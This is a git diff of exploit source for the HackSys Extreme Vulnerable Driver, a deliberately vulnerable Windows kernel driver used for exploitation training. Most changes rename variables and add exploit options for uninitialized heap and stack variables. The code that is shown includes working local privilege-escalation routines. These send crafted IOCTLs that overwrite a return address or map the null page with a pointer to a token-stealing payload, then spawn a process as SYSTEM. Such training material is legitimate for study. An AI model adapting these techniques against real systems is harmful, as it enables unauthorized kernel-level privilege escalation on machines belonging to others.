#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_POOL_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_CREATE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_USE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_CREATE_FAKE_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_TYPE_CONFUSION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_NEITHER, FILE_ANY_ACCESS) typedef time_t TIME; + typedef struct _CLIENT_ID { + PVOID UniqueProcess; + PVOID UniqueThread; + } CLIENT_ID, *PCLIENT_ID; + typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; @@ -108,19 +123,19 @@ Abstract: ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; - } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; + } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { - PVOID Unknown1; - PVOID Unknown2; - PVOID Base; - ULONG Size; - ULONG Flags; - USHORT Index; - USHORT NameLength; - USHORT LoadCount; - USHORT PathLength; - CHAR ImageName[256]; + PVOID Unknown1; + PVOID Unknown2; + PVOID Base; + ULONG Size; + ULONG Flags; + USHORT Index; + USHORT NameLength; + USHORT LoadCount; + USHORT PathLength; + CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { @@ -133,36 +148,162 @@ Abstract: SystemHandleInformation = 16 } SYSTEM_INFORMATION_CLASS; - typedef NTSTATUS (WINAPI *NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, - OUT PVOID SystemInformation, - IN ULONG SystemInformationLength, - OUT PULONG ReturnLength); + typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + ProcessIoPriority, + ProcessExecuteFlags, + ProcessTlsInformation, + ProcessCookie, + ProcessImageInformation, + ProcessCycleTime, + ProcessPagePriority, + ProcessInstrumentationCallback, + ProcessThreadStackAllocation, + ProcessWorkingSetWatchEx, + ProcessImageFileNameWin32, + ProcessImageFileMapping, + ProcessAffinityUpdateMode, + ProcessMemoryAllocationMode, + ProcessGroupInformation, + ProcessTokenVirtualizationEnabled, + ProcessConsoleHostProcess, + ProcessWindowInformation, + MaxProcessInfoClass + } PROCESSINFOCLASS; - typedef NTSTATUS (WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource, + typedef struct _PROCESS_ACCESS_TOKEN { + HANDLE Token; + HANDLE Thread; + } PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN; + + typedef struct _EPROCESS { + UCHAR NotNeeded1[0x26C]; + union { + ULONG Flags2; + struct { + ULONG JobNotReallyActive: 1; + ULONG AccountingFolded: 1; + ULONG NewProcessReported: 1; + ULONG ExitProcessReported: 1; + ULONG ReportCommitChanges: 1; + ULONG LastReportMemory: 1; + ULONG ReportPhysicalPageChanges: 1; + ULONG HandleTableRundown: 1; + ULONG NeedsHandleRundown: 1; + ULONG RefTraceEnabled: 1; + ULONG NumaAware: 1; + ULONG ProtectedProcess: 1; + ULONG DefaultPagePriority: 3; + ULONG PrimaryTokenFrozen: 1; + ULONG ProcessVerifierTarget: 1; + ULONG StackRandomizationDisabled: 1; + ULONG AffinityPermanent: 1; + ULONG AffinityUpdateEnable: 1; + ULONG PropagateNode: 1; + ULONG ExplicitAffinity: 1; + }; + }; + UCHAR NotNeeded2[0x50]; + } EPROCESS, *PEPROCESS; + + typedef NTSTATUS (WINAPI *ZwClose_t)(IN HANDLE hObject); + + typedef PEPROCESS (WINAPI *PsGetCurrentProcess_t)(VOID); + + typedef NTSTATUS (WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval); - typedef NTSTATUS(WINAPI *NtAllocateVirtualMemory_t)(IN HANDLE ProcessHandle, - IN OUT PVOID *BaseAddress, - IN ULONG ZeroBits, - IN OUT PULONG AllocationSize, - IN ULONG AllocationType, - IN ULONG Protect); + typedef NTSTATUS (WINAPI *ZwOpenProcessToken_t)(IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + OUT PHANDLE TokenHandle); - typedef NTSTATUS(WINAPI *NtAllocateReserveObject_t)(OUT PHANDLE hObject, - IN POBJECT_ATTRIBUTES ObjectAttributes, - IN DWORD ObjectType); + typedef NTSTATUS (WINAPI *ZwSetInformationProcess_t)(IN HANDLE hProcess, + IN ULONG ProcessInfoClass, + IN PVOID ProcessInfo, + IN ULONG ProcessInfoLength); + typedef NTSTATUS (WINAPI *ZwOpenProcess_t)(OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PCLIENT_ID ClientId OPTIONAL); + + typedef NTSTATUS (WINAPI *NtAllocateVirtualMemory_t)(IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN OUT PULONG AllocationSize, + IN ULONG AllocationType, + IN ULONG Protect); + + typedef NTSTATUS (WINAPI *NtAllocateReserveObject_t)(OUT PHANDLE hObject, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN DWORD ObjectType); + + typedef NTSTATUS (WINAPI *NtMapUserPhysicalPages_t)(IN PVOID VirtualAddress, + IN ULONG_PTR NumberOfPages, + IN OUT PULONG_PTR UserPfnArray); + + typedef NTSTATUS (WINAPI *ZwDuplicateToken_t)(IN HANDLE ExistingTokenHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN EffectiveOnly, + IN TOKEN_TYPE TokenType, + OUT PHANDLE NewTokenHandle); + + typedef NTSTATUS (WINAPI *NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT PULONG ReturnLength); + + ZwClose_t ZwClose; + ZwOpenProcess_t ZwOpenProcess; + ZwDuplicateToken_t ZwDuplicateToken; + ZwOpenProcessToken_t ZwOpenProcessToken; + PsGetCurrentProcess_t PsGetCurrentProcess; + NtMapUserPhysicalPages_t NtMapUserPhysicalPages; NtQueryIntervalProfile_t NtQueryIntervalProfile; - NtAllocateVirtualMemory_t NtAllocateVirtualMemory; + ZwSetInformationProcess_t ZwSetInformationProcess; NtAllocateReserveObject_t NtAllocateReserveObject; + NtAllocateVirtualMemory_t NtAllocateVirtualMemory; NtQuerySystemInformation_t NtQuerySystemInformation; BOOL MapNullPage(); VOID ClearScreen(); VOID CenterConsoleScreen(); PVOID GetHalDispatchTable(); - DWORD GetProcessID(LPCSTR processName); - HANDLE GetDeviceHandle(LPCSTR lpFileName); + DWORD GetProcessID(LPCSTR ProcessName); + HANDLE GetDeviceHandle(LPCSTR FileName); VOID ColoredConsoleOuput(WORD wColor, CONST PTCHAR fmt, ...); #endif //__COMMON_H__ diff --git a/Exploit/Source/HackSysEVDExploit.c b/Exploit/Source/HackSysEVDExploit.c index 07d9103..0f1b661 100644 --- a/Exploit/Source/HackSysEVDExploit.c +++ b/Exploit/Source/HackSysEVDExploit.c @@ -45,20 +45,13 @@ Abstract: This module implements the main routines to invoke exploit for respective vulnerabilities. -TODO: - 1. This exploit has only been designed for Windows 7 x86, - add support for x64. - 2. Port the exploit to work on Windows 8.1/10, I know Null - Pointer Deference bug will be eliminated. - 3. Test on multiple systems to determine reliability. - --*/ #include "HackSysEVDExploit.h" CHAR *argv0; -static VOID ShowUsage(PTCHAR argv0) { +static VOID ShowUsage(PTCHAR Process) { DEBUG_ERROR(" \n" " Usage: %s [option] -c [process to launch] \n" " \n" @@ -71,20 +64,21 @@ static VOID ShowUsage(PTCHAR argv0) { " -t : Type Confusion \n" " -i : Integer Overflow \n" " -g : Stack Overflow GS \n" - " -v : Uninitialized Variable \n" " -n : Null Pointer Dereference \n" " -a : Arbitrary Memory Overwrite \n" - " \n", argv0, argv0); + " -h : Uninitialized Heap Variable \n" + " -v : Uninitialized Stack Variable\n" + " \n", Process, Process); exit(EXIT_FAILURE); } -VOID LaunchExploitThread(LPTHREAD_START_ROUTINE lpExploitHandlerThread) { +VOID LaunchExploitThread(LPTHREAD_START_ROUTINE ExploitHandlerThread) { HANDLE hThread = NULL; - DWORD threadTimeout = 0x50000; + DWORD ThreadTimeout = 0x50000; // Create a new thread DEBUG_MESSAGE("\t[+] Creating The Exploit Thread\n"); - hThread = CreateThread(NULL, 0, lpExploitHandlerThread, NULL, 0, 0); + hThread = CreateThread(NULL, 0, ExploitHandlerThread, NULL, 0, 0); if (!hThread) { DEBUG_ERROR("\t\t[-] Failed To Create Exploit Thread: 0x%X\n", GetLastError()); @@ -94,60 +88,60 @@ VOID LaunchExploitThread(LPTHREAD_START_ROUTINE lpExploitHandlerThread) { DEBUG_INFO("\t\t[+] Exploit Thread Handle: 0x%X\n", hThread); } - if (WaitForSingleObject(hThread, threadTimeout)) { + if (WaitForSingleObject(hThread, ThreadTimeout)) { // Terminate the thread TerminateThread(hThread, EXIT_FAILURE); DEBUG_INFO("\t\t[+] Terminated Exploit Thread: 0x%X\n", hThread); } } -BOOL IsProcessHavingHigherPrivilege(LPCSTR processToOpen) { - DWORD processID = 0; +BOOL IsProcessHavingHigherPrivilege(LPCSTR TargetProcess) { + DWORD ProcessID = 0; HANDLE hProcess = NULL; - BOOL isHighPrivileged = FALSE; + BOOL IsHighPrivileged = FALSE; - DEBUG_MESSAGE("\t[+] Trying To Get Process ID Of: %s\n", processToOpen); + DEBUG_MESSAGE("\t[+] Trying To Get Process ID Of: %s\n", TargetProcess); - processID = GetProcessID(processToOpen); + ProcessID = GetProcessID(TargetProcess); - if (!processID) { - DEBUG_ERROR("\t\t[-] Failed To Get Process ID Of: %s\n", processToOpen); + if (!ProcessID) { + DEBUG_ERROR("\t\t[-] Failed To Get Process ID Of: %s\n", TargetProcess); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t[+] Process ID Of %s: %d\n", processToOpen, processID); + DEBUG_INFO("\t\t[+] Process ID Of %s: %d\n", TargetProcess, ProcessID); } - DEBUG_MESSAGE("\t[+] Trying To Open %s With PROCESS_ALL_ACCESS\n", processToOpen, processID); + DEBUG_MESSAGE("\t[+] Trying To Open %s With PROCESS_ALL_ACCESS\n", TargetProcess); // Open the process to check the privilege level, if we are able // to open any SYSTEM process, this means we have successfully // elevated current process privileges - hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID); + hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID); if (!hProcess) { - DEBUG_ERROR("\t\t[-] Failed To Open %s Process: 0x%X\n", processToOpen, GetLastError()); + DEBUG_ERROR("\t\t[-] Failed To Open %s Process: 0x%X\n", TargetProcess, GetLastError()); } else { - DEBUG_INFO("\t\t[+] Process Handle Of %s: 0x%X\n", processToOpen, hProcess); - isHighPrivileged = TRUE; + DEBUG_INFO("\t\t[+] Process Handle Of %s: 0x%X\n", TargetProcess, hProcess); + IsHighPrivileged = TRUE; } - return isHighPrivileged; + return IsHighPrivileged; } -VOID Exploit(PEXPLOIT_VULNERABILITY pExploitVulnerability) { - DOUBLE elapsedTime = 0; - TIME startTime, finishTime; - STARTUPINFO startupInfo = {0}; - PROCESS_INFORMATION processInformation = {0}; - VULNERABILITY_TYPE vulnerabilityType = pExploitVulnerability->VulnerabilityType; +VOID Exploit(PEXPLOIT_VULNERABILITY ExploitVulnerability) { + DOUBLE ElapsedTime = 0; + TIME StartTime, FinishTime; + STARTUPINFO StartupInfo = {0}; + PROCESS_INFORMATION ProcessInformation = {0}; + VULNERABILITY_TYPE VulnerabilityType = ExploitVulnerability->VulnerabilityType; // Log the start time - startTime = time(NULL); + StartTime = time(NULL); // Determine type of vulnerability to exploit - switch (vulnerabilityType) { + switch (VulnerabilityType) { case PoolOverflow: DEBUG_MESSAGE("[+] Starting Pool Overflow Exploitation\n"); LaunchExploitThread(&PoolOverflowThread); @@ -183,10 +177,15 @@ VOID Exploit(PEXPLOIT_VULNERABILITY pExploitVulnerability) { LaunchExploitThread(&ArbitraryOverwriteThread); DEBUG_MESSAGE("[+] Completed Arbitrary Memory Overwrite Exploitation\n"); break; - case UninitializedVariable: - DEBUG_MESSAGE("[+] Starting Uninitialized Variable Exploitation\n"); - LaunchExploitThread(&UninitializedVariableThread); - DEBUG_MESSAGE("[+] Completed Uninitialized Variable Exploitation\n"); + case UninitializedHeapVariable: + DEBUG_MESSAGE("[+] Starting Uninitialized Heap Variable Exploitation\n"); + LaunchExploitThread(&UninitializedHeapVariableThread); + DEBUG_MESSAGE("[+] Completed Uninitialized Heap Variable Exploitation\n"); + break; + case UninitializedStackVariable: + DEBUG_MESSAGE("[+] Starting Uninitialized Stack Variable Exploitation\n"); + LaunchExploitThread(&UninitializedStackVariableThread); + DEBUG_MESSAGE("[+] Completed Uninitialized Stack Variable Exploitation\n"); break; case NullPointerDereference: DEBUG_MESSAGE("[+] Starting Null Pointer Dereference Exploitation\n"); @@ -206,42 +205,42 @@ VOID Exploit(PEXPLOIT_VULNERABILITY pExploitVulnerability) { DEBUG_MESSAGE("\t[+] Successfully Elevated Current Process Privileges\n"); } - startupInfo.wShowWindow = SW_SHOW; - startupInfo.cb = sizeof(STARTUPINFO); - startupInfo.dwFlags = STARTF_USESHOWWINDOW; + StartupInfo.wShowWindow = SW_SHOW; + StartupInfo.cb = sizeof(STARTUPINFO); + StartupInfo.dwFlags = STARTF_USESHOWWINDOW; // Log the finish time - finishTime = time(NULL); + FinishTime = time(NULL); // Calculate the elapsed time - elapsedTime = difftime(finishTime, startTime); + ElapsedTime = difftime(FinishTime, StartTime); - DEBUG_MESSAGE("[+] Enjoy As SYSTEM [%f]s\n\n", elapsedTime); + DEBUG_MESSAGE("[+] Enjoy As SYSTEM [%f]s\n\n", ElapsedTime); if (!CreateProcess(NULL, - pExploitVulnerability->Command, + ExploitVulnerability->Command, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, - &startupInfo, - &processInformation)) { + &StartupInfo, + &ProcessInformation)) { DEBUG_ERROR("[-] Failed to Create Target Process: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } - WaitForSingleObject(processInformation.hProcess, INFINITE); + WaitForSingleObject(ProcessInformation.hProcess, INFINITE); // Close the open handles - CloseHandle(processInformation.hThread); - CloseHandle(processInformation.hProcess); + CloseHandle(ProcessInformation.hThread); + CloseHandle(ProcessInformation.hProcess); } INT main(UINT argc, PTCHAR argv[]) { - CONST PTCHAR banner = + CONST PTCHAR Banner = "\t\t \t\n" "\t\t ## ## ######## ## ## ######## \t\n" "\t\t ## ## ## ## ## ## ## \t\n" @@ -256,14 +255,14 @@ INT main(UINT argc, PTCHAR argv[]) { "\t\t ashfaq[at]payatu[dot]com \t\n" "\t\t \t\n"; - PTCHAR commandToExecute = NULL; - EXPLOIT_VULNERABILITY exploitVulnerability; + PTCHAR CommandToExecute = NULL; + EXPLOIT_VULNERABILITY ExploitVulnerability; ClearScreen(); CenterConsoleScreen(); // Print the banner - DEBUG_SUCCESS(banner); + DEBUG_SUCCESS(Banner); if (argc < 3) { ShowUsage(argv[0]); @@ -272,41 +271,44 @@ INT main(UINT argc, PTCHAR argv[]) { // Parse the command line arguments ARGBEGIN { case 'p': - exploitVulnerability.VulnerabilityType = PoolOverflow; + ExploitVulnerability.VulnerabilityType = PoolOverflow; break; case 'u': - exploitVulnerability.VulnerabilityType = UseAfterFree; + ExploitVulnerability.VulnerabilityType = UseAfterFree; break; case 't': - exploitVulnerability.VulnerabilityType = TypeConfusion; + ExploitVulnerability.VulnerabilityType = TypeConfusion; break; case 's': - exploitVulnerability.VulnerabilityType = StackOverflow; + ExploitVulnerability.VulnerabilityType = StackOverflow; break; case 'i': - exploitVulnerability.VulnerabilityType = IntegerOverflow; + ExploitVulnerability.VulnerabilityType = IntegerOverflow; break; case 'g': - exploitVulnerability.VulnerabilityType = StackOverflowGS; + ExploitVulnerability.VulnerabilityType = StackOverflowGS; break; case 'a': - exploitVulnerability.VulnerabilityType = ArbitraryOverwrite; + ExploitVulnerability.VulnerabilityType = ArbitraryOverwrite; + break; + case 'h': + ExploitVulnerability.VulnerabilityType = UninitializedHeapVariable; break; case 'v': - exploitVulnerability.VulnerabilityType = UninitializedVariable; + ExploitVulnerability.VulnerabilityType = UninitializedStackVariable; break; case 'n': - exploitVulnerability.VulnerabilityType = NullPointerDereference; + ExploitVulnerability.VulnerabilityType = NullPointerDereference; break; case 'c': - exploitVulnerability.Command = EARGF(ShowUsage(argv[0])); + ExploitVulnerability.Command = EARGF(ShowUsage(argv[0])); break; default: ShowUsage(argv[0]); } ARGEND; // Start the exploitation - Exploit(&exploitVulnerability); + Exploit(&ExploitVulnerability); return EXIT_SUCCESS; } diff --git a/Exploit/Source/HackSysEVDExploit.h b/Exploit/Source/HackSysEVDExploit.h index 107e024..5d7cc85 100644 --- a/Exploit/Source/HackSysEVDExploit.h +++ b/Exploit/Source/HackSysEVDExploit.h @@ -63,18 +63,19 @@ Abstract: IntegerOverflow, StackOverflowGS, ArbitraryOverwrite, - UninitializedVariable, - NullPointerDereference + NullPointerDereference, + UninitializedHeapVariable, + UninitializedStackVariable } VULNERABILITY_TYPE, *PVULNERABILITY_TYPE; typedef struct _EXPLOIT_VULNERABILITY { + PTCHAR Command; VULNERABILITY_TYPE VulnerabilityType; - PTCHAR Command; } EXPLOIT_VULNERABILITY, *PEXPLOIT_VULNERABILITY; - static VOID ShowUsage(PTCHAR argv0); - BOOL IsProcessHavingHigherPrivilege(LPCSTR processToOpen); - VOID Exploit(PEXPLOIT_VULNERABILITY pExploitVulnerability); - VOID LaunchExploitThread(LPTHREAD_START_ROUTINE lpExploitHandlerThread); + static VOID ShowUsage(PTCHAR Process); + BOOL IsProcessHavingHigherPrivilege(LPCSTR TargetProcess); + VOID Exploit(PEXPLOIT_VULNERABILITY ExploitVulnerability); + VOID LaunchExploitThread(LPTHREAD_START_ROUTINE ExploitHandlerThread); #endif //__EXPLOIT_H__ diff --git a/Exploit/Source/HackSysEVDExploit.vcxproj b/Exploit/Source/HackSysEVDExploit.vcxproj index 2e00181..5d75630 100644 --- a/Exploit/Source/HackSysEVDExploit.vcxproj +++ b/Exploit/Source/HackSysEVDExploit.vcxproj @@ -71,7 +71,8 @@ - + + @@ -86,7 +87,8 @@ - + + diff --git a/Exploit/Source/HackSysEVDExploit.vcxproj.filters b/Exploit/Source/HackSysEVDExploit.vcxproj.filters index aa5c3ec..3d646fc 100644 --- a/Exploit/Source/HackSysEVDExploit.vcxproj.filters +++ b/Exploit/Source/HackSysEVDExploit.vcxproj.filters @@ -48,7 +48,10 @@ Source Files - + + Source Files + + Source Files @@ -89,7 +92,10 @@ Header Files - + + Header Files + + Header Files diff --git a/Exploit/Source/IntegerOverflow.c b/Exploit/Source/IntegerOverflow.c index ced7dbd..5640301 100644 --- a/Exploit/Source/IntegerOverflow.c +++ b/Exploit/Source/IntegerOverflow.c @@ -50,14 +50,14 @@ Abstract: #include "IntegerOverflow.h" -DWORD WINAPI IntegerOverflowThread(LPVOID lpParameter) { +DWORD WINAPI IntegerOverflowThread(LPVOID Parameter) { HANDLE hFile = NULL; - ULONG bytesReturned; - PVOID pMemoryAddress = NULL; - PULONG pUserModeBuffer = NULL; - LPCSTR lpFileName = (LPCSTR)DEVICE_NAME; - PVOID pEopPayload = &TokenStealingPayloadWin7; - SIZE_T userModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE_INTEGER + BUFFER_TERMINATOR) * sizeof(ULONG); + ULONG BytesReturned; + PVOID MemoryAddress = NULL; + PULONG UserModeBuffer = NULL; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + PVOID EopPayload = &TokenStealingPayloadWin7; + SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE_INTEGER + BUFFER_TERMINATOR) * sizeof(ULONG); __try { DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); @@ -71,9 +71,9 @@ DWORD WINAPI IntegerOverflowThread(LPVOID lpParameter) { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); - DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); - hFile = GetDeviceHandle(lpFileName); + hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); @@ -88,33 +88,33 @@ DWORD WINAPI IntegerOverflowThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n"); // Allocate the Heap chunk - pUserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), - HEAP_ZERO_MEMORY, - userModeBufferSize); + UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), + HEAP_ZERO_MEMORY, + UserModeBufferSize); - if (!pUserModeBuffer) { + if (!UserModeBuffer) { DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pUserModeBuffer); - DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", userModeBufferSize); + DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer); + DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize); } DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n"); - RtlFillMemory((PVOID)pUserModeBuffer, userModeBufferSize, 0x41); + RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41); - pMemoryAddress = (PVOID)(((ULONG)pUserModeBuffer + userModeBufferSize) - (sizeof(ULONG) * 2)); - *(PULONG)pMemoryAddress = (ULONG)pEopPayload; + MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - (sizeof(ULONG) * 2)); + *(PULONG)MemoryAddress = (ULONG)EopPayload; - DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)pMemoryAddress); - DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", pMemoryAddress); + DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)MemoryAddress); + DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", MemoryAddress); - pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + sizeof(ULONG)); - *(PULONG)pMemoryAddress = (ULONG)0xBAD0B0B0; + MemoryAddress = (PVOID)((ULONG)MemoryAddress + sizeof(ULONG)); + *(PULONG)MemoryAddress = (ULONG)0xBAD0B0B0; - DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopPayload); + DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_MESSAGE("\t[+] Triggering Integer Overflow\n"); @@ -122,16 +122,18 @@ DWORD WINAPI IntegerOverflowThread(LPVOID lpParameter) { DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW, - (LPVOID)pUserModeBuffer, + (LPVOID)UserModeBuffer, (DWORD)0xFFFFFFFF, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); - HeapFree(GetProcessHeap(), 0, (LPVOID)pUserModeBuffer); + HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer); + + UserModeBuffer = NULL; } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError()); diff --git a/Exploit/Source/IntegerOverflow.h b/Exploit/Source/IntegerOverflow.h index c2abe20..75acb6b 100644 --- a/Exploit/Source/IntegerOverflow.h +++ b/Exploit/Source/IntegerOverflow.h @@ -58,6 +58,6 @@ Abstract: #define RET_OVERWRITE_INTEGER 11 #define BUFFER_TERMINATOR 1 - DWORD WINAPI IntegerOverflowThread(LPVOID lpParameter); + DWORD WINAPI IntegerOverflowThread(LPVOID Parameter); #endif //__INTEGER_OVERFLOW_H__ diff --git a/Exploit/Source/NullPointerDereference.c b/Exploit/Source/NullPointerDereference.c index 5abb824..016d2d6 100644 --- a/Exploit/Source/NullPointerDereference.c +++ b/Exploit/Source/NullPointerDereference.c @@ -50,14 +50,14 @@ Abstract: #include "NullPointerDereference.h" -DWORD WINAPI NullPointerDereferenceThread(LPVOID lpParameter) { +DWORD WINAPI NullPointerDereferenceThread(LPVOID Parameter) { HANDLE hFile = NULL; - ULONG bytesReturned; - ULONG magicValue = 0xBAADF00D; - PVOID nullPointerPlus4 = NULL; - PVOID nullPageBaseAddress = NULL; - LPCSTR lpFileName = (LPCSTR)DEVICE_NAME; - PVOID pEopPayload = &TokenStealingPayloadWin7Generic; + ULONG BytesReturned; + ULONG MagicValue = 0xBAADF00D; + PVOID NullPointerPlus4 = NULL; + PVOID NullPageBaseAddress = NULL; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + PVOID EopPayload = &TokenStealingPayloadWin7Generic; __try { DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); @@ -71,9 +71,9 @@ DWORD WINAPI NullPointerDereferenceThread(LPVOID lpParameter) { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); - DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); - hFile = GetDeviceHandle(lpFileName); + hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); @@ -94,15 +94,15 @@ DWORD WINAPI NullPointerDereferenceThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Preparing Null Page Memory Layout\n"); - nullPointerPlus4 = (PVOID)((ULONG)nullPageBaseAddress + 0x4); + NullPointerPlus4 = (PVOID)((ULONG)NullPageBaseAddress + 0x4); // Now set the function pointer - *(PULONG)nullPointerPlus4 = (ULONG)pEopPayload; + *(PULONG)NullPointerPlus4 = (ULONG)EopPayload; - DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p\n", *(PULONG)nullPointerPlus4); - DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p\n", nullPointerPlus4); + DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p\n", *(PULONG)NullPointerPlus4); + DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p\n", NullPointerPlus4); - DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopPayload); + DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_MESSAGE("\t[+] Triggering Null Pointer Dereference\n"); @@ -110,11 +110,11 @@ DWORD WINAPI NullPointerDereferenceThread(LPVOID lpParameter) { DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, - (LPVOID)&magicValue, + (LPVOID)&MagicValue, 0, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); 